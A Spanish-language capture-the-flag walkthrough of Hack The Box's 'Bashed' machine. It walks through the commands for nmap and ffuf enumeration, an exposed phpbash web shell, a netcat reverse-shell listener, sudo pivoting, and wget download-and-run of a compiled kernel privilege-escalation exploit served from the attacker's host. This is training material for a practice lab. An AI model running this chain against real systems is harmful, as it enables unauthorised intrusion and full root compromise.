Walkthrough — Bashed (Hack The Box)
Recorrido por la máquina Bashed, enfocada en la exposición de scripts en producción y una clásica escalada de privilegios local.
🧭 Introducción
Bashed es una máquina Easy de Hack The Box, ideal para practicar acceso inicial a través de archivos expuestos y escalar con una vieja gloria de los exploits de kernel. ¡Clásica, simple y efectiva!
- SO: Linux (Ubuntu 16.04)
- Dificultad: Easy
- Herramientas utilizadas:
nmap
,ffuf
,netcat
,gcc
,python3
,wget
🔎 Enumeración inicial
Lancé un escaneo completo con nmap
para ver qué servicios estaban vivos:
nmap -sC -sV -p- -T4 10.10.10.68
-p-
: todos los puertos
-sC -sV
: scripts por defecto y detección de versiones
-T4
: velocidad decente sin romper cosas
Resultado:
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 (Ubuntu)
Sólo un puerto abierto: HTTP. Sencillo, pero esto suele ser una señal de que lo jugoso está en la web.
🌐 Exploración web
Navegando a http://10.10.10.68
encontré algo interesante…
Un sitio personal de desarrollo, y en él se menciona explícitamente el uso de phpsbash… ¿en producción?
“I actually developed it on this exact server”
Gracias, desarrollador desconocido. 🎯
🕵️ Fuzzing de rutas
Para buscar rutas ocultas, utilicé ffuf
con una wordlist de Seclists:
ffuf -u http://10.10.10.68/FUZZ \
-w /path/to/SecLists/Discovery/Web-Content/common.txt \
-mc 200,204,301,302,307,403 \
-fs 401 -t 40
El resultado me reveló /dev/
.
🛠️ phpBash en /dev/
Visitando http://10.10.10.68/dev/
:
Y sí… hay dos versiones de phpsbash. Ejecuté la principal:
Y conseguí una shell como www-data
. ¡Vamos!
📡 Mejorando acceso y reverse shell
Monté un listener:
nc -lnvp 1234
Y desde la consola web, lancé una reverse shell o mejoré la tty con:
python3 -c 'import pty; pty.spawn("/bin/bash")'
🧑💻 Flag de usuario
Navegando al home del usuario arrexel
, encontré user.txt
:
cat /home/arrexel/user.txt
Primera flag lista ✅
⬆️ Escalada de privilegios
Corrí sudo -l
y encontré esto:
User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL
Eso significa que puedo ser scriptmanager
sin contraseña:
sudo -u scriptmanager /bin/bash
🧠 Post-enumeración
Con acceso como scriptmanager
, revisé el kernel con uname -a
:
Es un kernel vulnerable: 4.4.0-62
. En ExploitDB encontré una escalada local lista para usar.
💥 Explotación local — DirtyCow/Overlayfs
El exploit (exploit.c
) se compila así:
gcc exploit.c -o rootme -static -O2
Serví el binario con Python:
sudo python3 -m http.server 80
Y lo descargué desde la máquina víctima:
wget http://10.10.14.3/rootme -O /tmp/rootme
chmod +x /tmp/rootme
/tmp/rootme
🧑🚀 ¡Root shell!
El exploit funcionó y me dio una shell como root:
🏁 Flag de root
La cereza del postre: /root/root.txt
cat /root/root.txt
🎉 ¡Máquina completada!
✅ Resumen final
Acción | Resultado |
---|---|
Escaneo inicial | Apache en puerto 80 |
Enumeración web | phpBash expuesto |
Acceso inicial | Shell como www-data |
Escalada 1 | Sudo a scriptmanager |
Escalada 2 | Exploit local al kernel |
Flags | user.txt y root.txt ✔️ |
Autor: gueco99
🧠 Hack the Box – Bashed (Easy)